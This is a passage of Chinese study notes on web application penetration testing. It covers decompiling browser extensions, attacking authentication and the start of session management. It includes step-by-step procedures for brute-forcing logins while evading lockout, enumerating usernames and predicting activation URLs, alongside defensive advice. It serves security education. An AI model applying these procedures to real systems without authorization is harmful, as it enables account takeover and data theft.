问题2:扩展可能不接受拦截代理器提供的 SSL 证书

原因在于组件配置为不接受自签名的证书,或者组件本身的编码要求拒绝不可信的证书,此时可以通过在机器上面安装一个 CA 证书,并将代理服务器配置为使用该证书;

问题3:扩展使用除 HTTP 以外的协议进行通信

原因在于拦截代理服务器可能无法处理这些协议;使用网络嗅探器例如 Echo Mirage 来修改相关流量,它通过注入进程并拦截套按字 API 调用来实现查看和修改数据的目的;

渗透测试步骤

  • 确保代理服务器能够正确拦截浏览器扩展发出的所有流量;如有必要,使用嗅探器确定任何未正确拦截的流量;
  • 如果扩展使用标准的序列化框架,确保拥有解压并修改序列化数据所需的工具;如果扩展使用专用编码或加密机制,则需要调试组件,对其进行全面测试;
  • 检查服务器返回的能够触发客户端关键步骤的响应;一般来说,通过修改这个响应,能够解锁客户端的GUI,从而发现并执行那些复杂或多步骤的操作;
  • 如果一些关键步骤(如赌博应用中的发牌动作)不是由客户端执行,而是由服务端执行,则尝试寻找执行该步骤和服务端通信之间的联系

反编译浏览器扩展

在应对浏览器扩展时,对其进行反编译是最彻底的方法;一般来说,根据各自语言的特性,组件是以字节码的形式存在的,有时还会有反编码的防御机制,尽管如此,仍然是很有可能破解的;

下载字节码

一般来说,字节码通过页面源文件中的 标签进行加载,里面有供下载的 URL;有时是通过脚本进行加载,此时可以等页面加载完毕后,再查看代理服务器的历史记录中的 URL;

由于字节码在加载后会被缓存,因为有时需要通过清理缓存来触发再次加载;另外拦截器有时会隐藏一些它认为不重要的信息,此时需要全部显示出来才找得到;

反编译字节码

字节码经常以压缩包的形式被下载,因此需要先进行解压缩;Java 的 jar 包,Silverlight 的 .xap 文件,都是使用 zip 格式压缩的,此时只需给文件增加 zip 的后缀,即可以使用 zip 软件进行解压缩;

常用的反编译工具

  • Java:Jad
  • Flash:Flasm,Flare,SWFScan;
  • Silverlight:NET Reflector;
分析源代码
重点分析的事项:
  • 客户端输入确认或其他与安全相关的逻辑和事件;
  • 在提交数据到服务端前,对数据进行加密或者模糊的函数;
  • 在用户界面中看不到,但可以使用的隐藏功能;
  • 在解析服务端时没发现,但在组件中引用的服务端功能;
修改组件行为的方法
  • 修改源代码后,重新编译为字节码,清理缓存,重新下载字节码,之后用拦截器进行替换;
  • 修改源代码后,重新编译为字节码,使用它计算出结果,导出到本地,用代理服务器将该结果提交到服务器;
使用 Javascript 操纵原始组件

有时并不需要修改组件的字节码,而是基于组件的方法可能会被 javascript 调用,然后返回处理结果;此时,只需要修改 javascript 就可以实现修改结果的目的;

渗透测试步骤

  • 下载、解压字节码,反编译成源代码;
  • 查看源代码,了解组件的工作过程;
  • 如果组件包含公共的方法,拦截与该组件交互的 HTML 响应,添加或修改 Javacript,获取想要的结果;
  • 如果组件不包含公共的方法,修改组件的源代码,重新编译为字节码,独立执行这些字节码,获取想要的结果;
  • 如果组件负责向服务端提交模糊或加密的数据,则可以设计一些特定的字符串,通过组件提交,用来探查服务端可能存在的漏洞;
字节码模糊处理

为了应对反编译,人们会使用一些模糊技巧,让反编译后的结果难以被理解,或者增加理解的难度;常用的反编译技巧如下:

  • 用没有意义的表达式替代有意义的类、方法、成员变量名称;
  • 用保留的关键字替换项目名称;
  • 删除字节码中不必要的调试和元信息,例如源文件名、行号、局部变量名、内部类信息;
  • 增加多余的代码;
  • 使用跳转指令对整个代码的执行路径进行修改,令人难以理解和判断执行代码的逻辑顺序;
  • 在字节码中引入非法代码,如果不清除这些非法代码,则无法重新编译;

渗透测试步骤

  • 不必完全理解源代码,只需确定是否包含公共方法,以及哪些方法可以从 javascript 进行调用,它们的签名是什么;
  • 如果使用了无意义的表达式,则可以使用 IDE 内置的重构功能(如 rename),为其分配有意义的名称;
  • 对已经模糊处理过的字节码,使用模糊处理工具,再次对其进行模糊处理,这样可以撤销许多模糊处理,例如 Jode 工具,它可用来删除由其他模糊处理工具添加的多余代码,并为数据分配唯一的名称,为理解模糊后的结果提供线索;

附加调试器

有时组件很大,代码很多行,阅读它们很费时间,此时可考虑使用另外一种方法,即调试器;由于组件是在字节码级别运行的,因此用调试器在运行过程中跟踪变量,加入断点,查看和修改参数或变量,获取想要的结果,例如 javaSnoop;

本地客户端组件

本地客户端组件不是基于字节码来运行,而是基于机器语言和汇编,因此它们的反编译工作稍微复杂一些(即逆向工程领域),不过原理仍然是一样的,即使用调试工具和添加断点,来分析程序的行为规律;

常用工具有:OllyDbg,IDA Pro等;

安全处理客户端数据

通过客户端传送数据

理论上,所有的数据服务端都是有的,因此,应该尽可能避免将敏感数据交给客户端提交,因为客户端是不可控的;

如果实在迫不得已,则应该将敏感数据和其他数据进行组合,然后加密,再发送到客户端,而不能仅单独加密敏感数据;

确认客户端生成的数据

由于客户端被用户完全控制,因此在客户端对数据进行确认在理论上是几乎不可能的,只是难度大小的区别而已;

唯一安全的方法是永远不信任客户端,对客户端提交的每一项数据,都进行确认和验证;

日志与警报

服务端有必要增加警报机制,在收到非法数据后,记录到日志中,向应用程序管理员发出警报,以便其能够监控攻击企图;同时应用程序还应该主动采取防御措施,终止用户会话或者暂时冻结其账户;

小结

永远不要相信客户端的输入;

6. 攻击验证机制

验证技术

常用的验证技术

  • 基于 HTML 表单的验证
  • 多元机制,如密码+物理令牌;
  • 客户端 SSL 证书或智能卡;
  • HTTP 基本和摘要验证;
  • 使用 NTLM 或 Kerberos 整合 Windows 验证;
  • 第三方验证服务

验证机制设计缺陷

密码保密性不强

主要源于没有控制密码的强度;例如:

  • 非常短或空白的密码;
  • 以常用的字典词汇或名称为密码;
  • 密码和用户名完全相同;
  • 仍然使用默认密码;

渗透测试步骤

  • 设法查明任何与密码强度有关的规则
  • 浏览站点,查找规则的描述;
  • 如果可以自行注册,用不同种类的脆弱密码注册一下,了解规则;
  • 如果已经有账户,尝试把密码更改为弱密码;

蛮力攻击登录

如果应用程序没有限制用户尝试的次数,则攻击者很容易就会使用蛮力攻击,因为有太多知名站点的沦陷,导致大量的用户密码泄露,它们都可以作为很好的密码库进行暴力尝试;

管理员密码经常更加脆弱,因为它常常是在应用程序上线之前就已经设置好的,因此经常没有遵守规则;

有些应用程序会在客户端使用隐藏字段记录尝试失败的次数,然后提交到服务器进行限制,但这种方法太容易被绕开;如果失败次数保留在服务端,也可以通过新开一个会话来绕过这个限制;

有些应用程序会在失败一定次数后锁定账户,让其不能登录,但是它可能仍然对后续的尝试做出正确与否的响应,此时攻击者只要不断尝试,直到找到正确的密码,然后等到解锁的时候,即可登录;

渗透测试步骤

  • 用某个受控账户手动提交几个错误的登录尝试,监控接收到的错误消息;
  • 如果在10次登录失败后,还没有返回锁定消息,再尝试正确的密码,如果登录成功,则说明应用程序并没有采取任何账户锁定策略;
  • 如果账户被锁定,可以尝试使用不同的账户;
  • 如果应用程序发布 cookie,则设置让每个 cookie 只使用一次,之后每次登录尝试获取新 cookie;
  • 如果账户被锁定,应该查看与提交无效密码相比,提交正确密码是否会在响应中存在差异;如果是的话,则即使账户被锁定,仍然可以继续猜测攻击;
  • 如果没有受控账户,尝试枚举一个有效的用户名,并使用它提交几次错误登录,监控账户的错误消息;
  • 发动蛮力攻击前,应先确定好应用程序在成功与失败两种响应的差异,以便分清区别;
  • 列出常见的用户名和密码列表,根据已知的密码规则对其进行过滤,只留下有效的密码,避免无谓的多余尝试;
  • 使用这些用户名和密码的排列组合,使用适当的工具或定制脚本迅速生成登录请求,监控服务器的响应,筛选出那些成功的登录尝试;
  • 如果一次针对几个用户名,最好使用广度优先,而不是深度优先,每个用户名只尝试一次密码,然后轮下一个用户名,这样避免触发单个用户名的失败次数过多的锁定;

详细的失败消息

失败消息中,有时候会注明是哪一项登录消息无效,例如用户名或者密码,此时就可以利用这个信息,筛选出有效的用户名,供下一轮攻击时使用;

如果应用程序允许用户自行注册并指定自己的用户名,由于应用程序需要排查用户名是否重复,因此攻击者可以利用这一点进行用户名枚举,筛选出有效的用户名;

有些应用程序的登录比较复杂,需要用户提交几组信息,或者分几个步骤,此时详细的失败信息有助于攻击者轮流针对登录过程的每个阶段发动攻击;

同样的用户名错误,页面上可能看起来没有差别,但在 HTML 源代码中可能会有区别,通过“比较”工具找出区别,就可以收获有效的信息;

渗透测试步骤

  • 如果已经有一个受控账户,使用这个账户的用户名和一个错误的密码登录一次,然后使用完全随机的用户名进行另一次登录;
  • 记录两次登录服务器响应中的每一个细节,包括状态码、重定向、屏幕上显示的信息、页面源代码的差异;使用拦截器保存请求和响应的完整历史记录;
  • 努力找出两次尝试间的任何明显或细微的差异;
  • 如果找不到差异,在应用程序中任何提交用户名的地方重复上述操作,例如注册、密码修改、忘记密码等功能;
  • 如果发现有差异,使用一个常见的用户名列表,用自动工具迅速提交每个用户名,根据响应的差异,筛选出有效的用户名;
  • 开始枚举之前,确定应用程序是否有失败次数达到上限后的锁定策略;如果有,则不应该在枚举时使用不合理的密码,而应提交常见的密码;

即使服务端对有效用户名和无效用户名返回的响应完全相同,它的处理时间也经常是不同的,即有效用户名处理的步骤可能要久一些,而无效用户名要短一些;这种判断方法不一定百分百准确,但从大数来说,有一定的准确概率;

除了登录功能外,还可以从其他地方获取有效的用户名,例如源代码注释、开发人员的电子邮件、可访问的日志等;

密码传输易受攻击

如果应用程序使用非加密的 HTTP 连接传输登录密码,处于网络中适当位置的窃听者就有机会能够拦截这些密码;可能窃听的位置有:

  • 用户的本地网络中;
  • 用户的 IT 部门中;
  • 用户的 ISP 内;
  • 因特网骨干网上;
  • 托管应用程序的 ISP 内;
  • 管理应用的 IT 部门内;

即使通过 HTTPS 登录,应用程序也有可能使用不安全的方式来处理密码,导致密码可能被泄露:

  • 以查询字符串而不是 POST 请求主体中传送密码;这样会导致很多地方都会记录这些信息,例如用户的浏览历史记录、Web服务器日志内、主机基础架构使用的任何反向代理中;如果攻击者能够攻击这些资源,就有机会获得密码;
  • 虽然多数应用开发者使用 POST 提交表单,但登录请求却经常使用 302 重定向到一个不同的 URL 来进行;
  • 有些开发者会将密码保存在 cookie 中,此时攻击者可以通过访问客户端的本地文件系统来获得密码;即使密码被加密也没有关系,直接放入 cookie 中就可以用了;

有些应用程序在加载第一个页面时没有使用 HTTPS,而是等到了传输密码时,才使用 HTTPS,这样是有安全隐患的,即用户无法保证第一个加载到的页面是真实的;

渗透测试步骤

  • 进行一次成功登录,监控客户端与服务器之间的所有来回流量;
  • 确定在来回方向传输密码的每一种情况,可通过设置拦截规则,标记包含特殊字符串的信息;
  • 如果发现客户端通过 URL 查询字符串或cookie提交密码,或者由服务端向客户端传输密码,则需要了解其这样做的目的;
  • 查看是否通过非加密渠道传输任何敏感信息;
  • 如果没有发现不安全传输密码的情况,留意任何明显或模糊处理的数据,如果这些数据中包括敏感数据,则可能逆向工程其模糊算法;
  • 例如使用 HTTPS 提交密码,但使用 HTTP 加载登录表单,则有机会使用中间人攻击,通过钓鱼获取密码;

密码修改功能

很多 Web 应用程序的密码修改功能经常不需要验证就可以访问,并经常给攻击者提供一些重要的信息,例如:

  • 过于详细的错误消息,例如说明被请求的用户名是否有效;
  • 允许攻击者无限制猜测现有密码字段;
  • 在验证现有密码后,仅检查“新密码”与“确认新密码”字段的值是否相同,允许攻击者不需入侵即可成功确认现有密码是否正确;

渗透测试步骤

  • 发现和确定应用程序中的所有密码修改功能;有时候它可能是隐藏的;
  • 使用无效的用户名、无效的现有密码及不匹配的“新密码”和“确认新密码”等值,向密码修改功能提交各种请求;
  • 设法确定任何可用于用户名枚举或蛮力攻击的行为;

提示:有时候表面看起来可能没有用户名字段,但它很可能是放在隐藏表单字段中;如果表单字段中也没有,可以尝试使用跟登录功能相同的参数提交一个包含用户名的参数(它有时可以成功覆盖当前用户的用户名,获得向其他用户发起蛮力攻击的机会,即使在主登录页面可能实施不了这个攻击);

忘记密码功能

同密码修改功能一样,忘记密码功能经常也会引入枚举漏洞,原因如下:

  • 使用质询问题:通过社交网络或其他渠道,可能很容易获取这些质询的答案,它的答案范围比正常的密码范围要小得多;
  • 没有为质询的回答次数进行限制;
  • 使用密码暗示:由于普通用户缺少安全意识,留下的暗示经常相当于明示;另外还可以通过已存在的问题暗示库数据进行枚举破解;
  • 通过质询后,告知旧密码;导致攻击者只要记下质询的答案,即使用户修改了密码后,仍然可以通过质询获得新密码;
  • 通过质询后,跳转到一个无须验证的新会话,导致攻击者即使不知道密码,也马上可以使用该账户了;
  • 通过质询后,将恢复的 URL 发送至质询过程中提供的邮箱,而不是早期注册时预留的邮箱;(有时候邮箱字段并不在界面上显示,而是放在一个隐藏的表单字段或cookie中);
  • 修改密码后没有给用户发通知,导致用户误以为自己修改了密码,然后重新设置密码,最终无法发现账户已经被攻破了;

渗透测试步骤

  • 确认应用程序中的所有忘记密码功能;即使公布的页面中没有这个链接,但很可能仍然有这个功能;
  • 使用受控账户执行一次完整的密码恢复流程,了解其工作机制;
  • 如果恢复机制使用了质询,确定一下是否是让用户自行设定质询和响应,如果是的话,则可以使用质询库来进行匹配;
  • 如果恢复机制使用暗示,使用已公开的暗示库,选择那些最容易猜测的暗示进行攻击;
  • 尽量找出忘记密码机制中任何可用于用户名枚举或蛮力攻击的行为;
  • 如果应用程序使用发送恢复 URL 的机制,则收集尽可能多的这类 URL ,然后找出规律,预测向其他用户发布 URL 的模式(可使用分析会话令牌相同的技巧);

“记住我”功能

常见漏洞

  • 在 cookie 中存放用户名,然后服务端简单相信该 cookie,没有进行验证;
  • 在 cookie 中存放的会话标识没加密,此时可以通过推断其他用户的会话标识进行登录尝试;
  • 在 cookie 中存放的会话标识有加密,此时可以尝试通过跨脚点脚本的漏洞获取这些标识;

渗透测试步骤

  • 激活所有”记住我”功能,确定应用程序是否记住了用户名和密码,还是只记了用户名,之后仍然需要输入密码;如果是后者,则此功能可能没有太大的漏洞;
  • 仔细检查 cookie 值以及其他在本地存储的数据,寻找其中可能标识出用户或明显包含可预测用户标识的数据;
  • 即使其中保存的数据经过了加密或模糊处理,通过比较几个非常类似的用户或密码的结果,有可能可以找到逆向工程的机会;
  • 尝试修改持久性 cookie 的值,让服务端认为有另外一名用户在客户端登录过;

用户伪装功能

一些应用程序允许特权用户伪装成普通用户,然后以该用户的权限访问数据和执行操作,例如银行或电信客户,在获得用户的电话口头验证后,切换到用户账户权限进行操作;常见的设计缺陷如下:

  • 伪装功能可能通过“隐藏”的形式执行,且不受常规访问控制的管理,只要猜出 URL 即可访问使用;
  • 服务端可能会信任当前有效 cookie 提交的任何数据,并切换到伪装账户的权限进行操作;
  • 如果管理员也可以被伪装,则任何缺陷都可能导致垂直权限提升的漏洞,导致攻击不仅可以访问其他用户的数据,还可以控制整个应用程序;
  • 有些伪装功能能够以“后门”密码(或者叫万能密码)进行执行;攻击者可以在实施标准攻击的过程中,通过枚举发现这个密码

渗透测试步骤

  • 确定应用程序中的所有伪装功能,即使公布的内容中没有明确的伪装功能链接;
  • 尝试使用伪装功能伪装成其他用户;
  • 设法操纵由伪装功能处理的用户提交的数据,尝试伪装成其他用户,特别留意任何不通过正常登录页面提交用户名的情况;
  • 如果能够成功利用伪装功能,尝试伪装成任何已知的或猜测出的管理用户,以提交用户权限;
  • 实施密码猜测攻击时,查看是否有用户使用多个有效密码,或者某个特殊的密码是否与几个用户名匹配;特别注意任何 “以 X 登录”的状态消息;用在蛮力攻击中获得的密码,以许多不同的用户登录,检查是否一切正常;

密码确认不完善

应用程序对密码的要求会显著影响密码池的大小,攻击者通过对密码限制进行分析,可以删除密码库中不符合条件的密码,从而加快了枚举的速度;

渗透测试步骤

  • 使用一个受控账户,尝试使用密码的各种变化形式进行登录,例如删除最后一个字符、改变字符大小写、删除任何特殊排版的字符,以了解完整的密码确认规则;
  • 利用规则,调整自动攻击的配置,删除多余的密码,提高成功的效率;

非唯一性用户名

非唯一性用户名还是比较少见的,可以通过多次使用同一用户名注册,来判断是否有唯一性的限制;

如果存在唯一性的限制,则可以通过大量注册常见的用户名,来获取哪些用户名是有人在用的;

渗透测试步骤

  • 如果应用程序允许自我注册,尝试用不同密码两次注册同一个用户名;
  • 如果应用程序不允许用户名重复,则可以用常见的用户名反复注册,以找到已注册的用户名;
  • 如果应用程序允许用户名重复,尝试使用相同的密码,注册两个相同用户名,看应用程序会如何反应;
  • 如果报错,使用某个有效的用户名,则尝试使用一组常用密码多次注册该用户名,如果应用程序拒绝某个特殊的密码,则可以发现用户名的现有密码;
  • 如果没有报错,使用指定的密码登录,看看出现了什么结果;此时需要在每个账户中保存不同的数据以进行区分,之后才能确定这种行为是否可以导致跨账户的权限;

可预测的用户名

有些应用程序根据某种可以预测的顺序自动生成账户用户名,在找到规律后,即可以很快获得全部的有效用户名;

可预测的初始密码

一些应用程序一次性或大批量创建用户,并自动指定初始密码,然后分配给所有用户;

渗透测试步骤

  • 设法获得几个连续的密码,看能否从中看出任何顺序规律;
  • 如果有规律,根据规律,获取其他应用程序用户的密码;
  • 如果密码看起来跟用户名关联,使用已知的用户名或猜测出的用户名,用推断出的密码尝试进行登录验证;
  • 可以使用推断出的密码列表作为后续实施蛮力攻击的基础;

密码分配不安全

由于人性懒惰,如果应用程序没有要求用户修改初始密码,则大部分用户都不会更改初始密码;

有些应用程序不分配密码,而是发送一个激活链接,用户点击后,开始设置初始密码;这个链接很可能存在某种规律,攻击者可以通过注册几个紧密相连的用户,来确定其中的规律;

有些应用程序更搞笑,在用户修改密码后,还会发一封邮件通知用户该新设置的密码是多少;

渗透测试步骤

  • 获得一个新账户,如果应用程序没有要求在注册阶段设置密码,则需要弄清应用程序如何分配密码;
  • 如果应用程序使用激活 URL,则尝试注册几个紧密相关的新账户,从中寻找 URL 存在的规律;找到规律后,尝试使用这些 URL 占领其他用户的账户;
  • 尝试多次重复使用同一个激活 URL,看应用程序如何反应;如果被拒绝,则尝试输入多次的错误密码,将受控账户锁定,然后重复使用 URL,看是否可行;

验证机制执行缺陷

故障开放登录机制

当验证不通过时,服务端的处理可能存在缺陷,例如错误的用户密码仍然可以登录,只是没有完整的功能,这样会导致一些数据泄露;

渗透测试步骤

  • 使用受控账户执行一次完整、有效的登录;使用拦截器记录提交的每一份数据,收到的每一个响应;
  • 多次重复登录过程,以非常规方式修改提交的数据;包括:提交一个空字符串值、完全删除键值对、提交非常长和非常短的值、提交字符串代替数字或反过来、以相同和不同的值多次提高同一个数据项;
  • 仔细检查服务器对每次畸形请求的响应,确定任何不同于基本情况的差异;
  • 根据观察到的结果,调整测试过程;如果某个修改造成了行为的改变,设计将这个修改与其他修改进行组合,使应用程序的逻辑判断达到最大限度,以暴露其中可能存在的逻辑漏洞;

多阶段登录机制中的缺陷

多阶段本意是想提高安全性,但是容易出现逻辑缺陷;开发人员经常会做出一些潜在的危险假设,包括:

  • 应用程序认为访问第三阶段的用户已经完成了前两个阶段的认证;
  • 应用程序可能会信任由第二阶段提交的数据,因为到达第二阶段表示通过了第一阶段的认证;
  • 应用程序认为每个阶段的用户身份不变发生变化,因此并没有在每个阶段确认用户身份;

渗透测试步骤

  • 使用一个受控账户执行一次完整的多步骤登录,用拦截器记录提交的每一份数据;
  • 检查是否不止一次收到某条信息,或者是否有信息被返回给客户端,并通过隐藏表单字段、cookie或者预先设置的 URL 参数重新提交;
  • 使用各种畸形请求多次重复登录过程:包括:尝试按不同的顺序完成登录步骤、尝试直接进入任何特定的阶段从那里继续登录、尝试省略每个阶段并从下一阶段继续登录、发挥想象力想出开发者无法预料的方式访问不同的阶段;
  • 如果有数据不止提交一次,尝试在另外一个阶段提交一个不同的值,看是否能够成功登录;有些数据在某个阶段得到确认后,随后就被应用程序所信任;在这种情况下,可先用一个用户名通过第一阶段,再使用另一个用户名登录第二个阶段;
  • 特别注意任何通过客户端传送,但不需要用户直接输入的数据,应用程序很有可能使用它们来保存登录的进度状态并且信任这些数据;

有些登录机制在用户名和密码验证后,会提出一个随机私密问题,要求用户进行回答;但有时候存在两个设计漏洞:

  • 应用程序将问题细节放在隐藏字段中,而没有保留在服务器上,使得攻击者可以自动选择回答哪个问题;
  • 应用程序没有记录用户回答错误的记录,因此攻击者有机会遍历所有问题,然后找一个可以回答的;

渗透测试步骤

  • 如果应用程序使用了随机问题,检查问题本身是否和回答一起请求,如果是的话,尝试改变问题并提交正确答案,看能否成功登录;
  • 如果应用程序不允许攻击者提交任意问题,则使用同一个账户反复进入这个问题,枚举所有存在的问题;有时应用程序会使用持久性的 cookie 让问题保持不变,此时只需要改变 cookie 即可以绕过限制;

不安全的密码存储

应用程序常常以危险的方式将用户密码保存在数据库中,例如以明文存储;即使使用 MD5 或者 SHA-1 等算法进行散列处理,攻击者仍然可以在预先计算的散列值数据库查找观察到的散列;另外,由于应用程序使用的数据库账户需要随时读写这些密码,因此存在其他漏洞导致可以访问这些密码的风险;

渗透测试步骤

  • 分析应用程序有所有与用户验证或维护有关的功能,如果发现服务端有返回用户的密码,则说明用户的密码是明文存储的,或者使用了某种可还原的加密形式保存密码;
  • 如果发现应用程序中存在任意一种命令或执行查询的漏洞,则设法弄清楚应用程序将用户密码保存在数据库或文件系统中的什么位置;找到这些位置,弄清应用程序是否以非加密形式保存密码;如果以散列形式存储密码,则检查是否分配账户时常用或默认密码,以及未经过加盐处理的散列值;如果没有加盐,则可以查询在线散列数据库,以确定对应的明文密码值;

保障验证机制的安全

不同的验证方案有不同的优缺点,在追求安全性的基础上,有时候需要牺牲功能、易用性和总成本等;因此,决策者需要在不同的方案和目标之间做好权衡,评估所付出的安全成本,是否能够被足够的收益所抵销;

使用可靠的密码

  • 强制执行适应的最小密码强度要求,包括最小长度、使用字母+数字+特殊字符,同时使用大小写,避免使用单词、名称和常见密码,避免使用用户名为密码,避免使用和以前的密码相似或相同的密码;
  • 应使用唯一的用户名;
  • 系统生成的任何用户名和密码应具有足够的随机性,不包含任何顺序,以便攻击者无法进行预测;
  • 允许用户设置足够强大的密码,例如增加长度和特殊字符;

安全处理密码

  • 使用不会造成泄露的方式创建、保存和传送所有密码;
  • 使用 SSL 保护客户端和服务端之间的通信;
  • 在加载登录表单页面即使用 HTTPS ,而不是在提交登录信息时,才切换到 HTTPS;
  • 只使用 POST 请求向服务器传输密码,绝不将密码放在 URL 或者 cookie 中;绝不将密码返回给客户端;
  • 不将密码的原始值保存在数据库中,使用强大的散列函数加盐后保存,以便攻击者即使获得密码后也无法还原;
  • 客户的“记住我”功能仅限于记住用户名,不可用于记住密码;
  • 要求用户定期修改密码;
  • 如果需要给用户分配密码,则应该以尽可能安全的方式传输密码,并设置时间限制,同时要求用户在第一次登录时更改密码,并告知用户在初次使用后销毁原始通信记录;

正确确认密码

  • 应确认完整的密码,不过滤、截短或修改任何密码;
  • 应用程序需要在登录处理过程中捕获所有异常并处理异常,出现异常后,应当删除用于控制登录状态的所有会话和相关数据,并使当前会话失效,以便让攻击者的会话强制退出;
  • 严格审查验证逻辑的伪代码和源代码,避免其中存在任何的逻辑漏洞;
  • 如果应用程序存在伪装功能,应该严格限制这种功能,防止攻击者利用它获得未授权的访问;该功能不得公开访问,仅限于内部访问;对访问方式进行严格审核和控制;
  • 对阶段登录进行严格控制,防止攻击破坏各个阶段的转换与关系;
    • 登录阶段的进度和上一阶段的结果应该只保存在服务端,绝不可以传送到客户端;
    • 禁止用户多次提交一项登录信息;
    • 禁止用户修改已经被收集或确认的数据;如果某个数据需要在各个阶段重复使用,应该保存在会话中进行引用;
    • 每个登录阶段都应该先核实前面的阶段已经顺利完成,如果发现前面的阶段没有完成,应该将验证标记为恶意尝试;
    • 为避免攻击者知悉是哪个阶段登录失败,即使用户无法完成前面的阶段,即使最初的用户名无效,应用程序也应该总是走完所有的登录阶段,之后再呈现登录失败的信息,同时不提供关于失败位置的任何信息;
  • 如果在登录过程中需要回答一个随机的问题,需要确保攻击者无法选择问题;
    • 如果已经向一个用户提出一个特定的问题,将该问题永久性的保存到用户资料中,确保每次该用户尝试登录时提出相同的问题,直到该用户正确回答了这个问题;(这种方式也是有漏洞,即攻击者可以利用这个机制来枚举有效的用户名,因为无效的用户名没有存储问题);
    • 如果向某个用户提出一个随机变化的质询,而问题应该保存在服务端,禁止保存到 HTML 的隐藏字段中,并根据保存的问题,核实用户提供的答案;

防止信息泄露

  • 应用程序使用的各种验证机制不应泄露关于验证的参数信息,以便攻击者无法判断是哪项提交的数据出了问题;
  • 使用一个统一的组件来负责响应所有的失败消息,确保失败消息总是呈现一致性,以避免攻击者利用不一致来获得信息;
  • 如果应用程序使用账户锁定机制,则该机制可被利用来枚举有效的用户名;
  • 如果应用程序支持自我注册,则该机制可被利用来枚举有效的用户名;因此应要求用户使用电子邮件进行注册,当用户注册后,发邮件到其邮箱,通知注册结果;如果用户已经注册过了,就在邮件中说明已注册,如果用户未注册,就在邮件中放上一个唯一的 URL 让用户继续完成余下的注册步骤;

阻止蛮力攻击

  • 当用户失败超过一定次数后,可将账户冻结一定的时间,例如30分钟;这样做算是一个折中,避免非常规激活给用户增加太多的成本,也给攻击者增加成本;
    • 应用程序不得透露任何关于存在冻结的信息,仅仅是提示有这种可能性即可;
    • 应用程序不得透露冻结的时间;
    • 如果账户被冻结,应用程序不再检查用户密码,直接拒绝登录尝试;
  • 账户冻结措施不能万无一失,因为即使是5次的失败机会,也意味着攻击者有4次尝试不会引起锁定;
  • 在需要验证的页面使用 CAPTCHA 质询,用来防止自动化的数据提交(不过现在也出现了很多破解 CAPTCHA 的工具,它只能用来提高攻击成本,吓退那些随意的攻击者)(有时候 CAPTCHA 的答案还会隐藏在表单字段中,使得攻击者不用解题即可以获得答案);

防止滥用密码修改功能

  • 应用程序必须设计密码修改功能,以便让用户定期修改密码;
  • 只能从已经通过验证的会话中访问该功能;
  • 不应以任何形式直接提供用户名,如隐藏的表单字段或者 cookie;企业修改他人密码的为定为非法行为;
  • 要求用户修改密码时同时输入现有密码,以避免会话劫持漏洞、跨站点脚本攻击等;
  • 为防止错误,新密码应该要求用户输入两次;
  • 当尝试失败时,应使用常规错误消息告知错误,不能泄露错误的原因,如果出现多次失败,应临时冻结该功能;
  • 应使用非常规的方式,通知用户密码已经修改,并且在通知中不得包含新密码或旧密码的信息;

防止滥用账户恢复功能

  • 通过电子邮件向用户发送一条唯一的、有时间限制的、无法猜测的随机性 URL 帮助用户重新控制账户;当用户恢复账户后,再发送一封电子邮件通知用户密码已经修改;在用户的新密码修改成功前,旧密码应保持有效;
  • 绝对避免使用密码“暗示”之类的功能,因为很多用户自己设置的暗示跟明示差不多;

日志、监控与通知

应用程序应在日志中记录所有与验证有关的事件,包括登录、退出、密码修改、密码重设、账户冻结与账户恢复,日志中应包含一切相关的细节(如用户名和 IP 地址),但不得记录任何机密信息(例如密码);应用程序应为日志提供强有力的保护,以防止未授权的访问,因为它们是信息泄露的主要源头;

  • 当出现异常事件时,应用程序应进行实时警报和主动入侵防御;
  • 应以非常规的方式通知用户任何重大的安全事件,例如在用户尝试修改密码后,向其发送邮件进行告知;
  • 应以非常规的方式告知用户其上次登录的时间和位置,以及在那之后无效登录的次数,以便让用户知悉其账户很可能正在遭受蛮力攻击,保存其设置更加安全的密码;

小结

验证功能是应用程序受攻击面中最重要的目标,匿名用户可以直接访问该功能,使得其很容易暴露在所有攻击者面前;现实的验证机制存在着大量的设计与执行缺陷,使用系统化的方法尝试各种攻击途径,即可以对这些缺陷发起全面有效的攻击;

许多时候,漏洞显得易见;另一方面,有些缺陷隐藏得很深,需要对登录过程的逻辑进行反复推敲和分析,才能发现并利用这些缺陷;

7. 攻击会话管理

状态要求

会话机制中存在两大类的漏洞:

  • 生成会话过程中的漏洞;
  • 处理会话过程中的漏洞;

渗透测试步骤

  • 应用程序经常在多个地方使用会话,包括 cookie、 URL 参数、隐藏表单字段等,以适应不同功能的状态判断需要,避免只检查一个地方;
  • 有时候由 Web 服务器生成的标准会话令牌只是例行动作,并不定表示它一定会被应用程序所使用;
  • 当用户经过验证后,仔细检查客户端收到哪些新的数据项,一般来说,应用程序在此时建立新的会话令牌;
  • 找一个确定需要使用会话令牌数据的页面,例如个人资料页,尝试性的删除某个疑似令牌的数据后提交请求,如果返回的页面出现变化,不再是原来的那个页面,则说明该数据很可能为会话令牌;

并不是每个应用程序都会使用会话,有也其他替代方案可以用来进行状态

  • HTTP 验证:客户端在每次请求中,都在消息头中重复提交密码进行验证;
  • 无会话机制:将用户的状态数据保存在客户端,由用户在下一次请求的时候提交这些状态数据,没有保存在服务端,这样服务端就没有必要使用会话机制维护状态了;如果使用这种方式的话,就需要使用一个比较大的对象来存放状态信息了;

渗透测试步骤

  • 用排查法进行测试,看是否存在疑似令牌的数据;
  • 如果存在以下现象,则说明应用程序很可能将会话状态保存在客户端,包括:向客户端发送的令牌数据比较大(如大于等于100B)、应用程序对每个请求做出响应后,发布一个新的类似令牌、数据似乎被加密(无法辨识其结构)或包含签名(由于有意义的结构和几个字节的无意义二进制数据组成)、应用程序拒绝通过多个请求提交相同数据的做法;
  • 如果应用程序不使用会话令牌管理状态,则本章的所有攻击手段都没有效果,需要寻找其他方向的漏洞来进行渗透;

会话令牌生成过程中的薄弱环节

使用令牌的一些场景

  • 发送到用户注册的电子邮件地址的密码恢复令牌;
  • 存放在隐藏表单字段中的令牌,用于防止跨站点脚本攻击;
  • 用于一次性访问受保护资源的令牌;
  • “记住我”功能使用的永久令牌;
  • 未启用验证功能的购物应用程序,让用户可检查当前订单状态的令牌;

令牌有一定的含义

有些应用程序没有随机生成令牌,而是基于用户的个人信息来生成令牌;而用户的信息字段呈现某种多样性,有数字、字符串、邮件等;为了让信息的传输符合 HTML 的标准,应用程序先对信息进行编码,例如十六进制、Base64 等,这种方式通常会表现出某种结构,例如通常以分隔符隔开;另外,不同部分很可能使用不同的编码方式;

结构化的令牌的组成成分常包括以下几项:

  • 账户用户名、用户姓名中的名和姓、用户的电子邮件地址、用户的角色;
  • 应用程序用来区分账户的数字标识符;
  • 日期时间截;
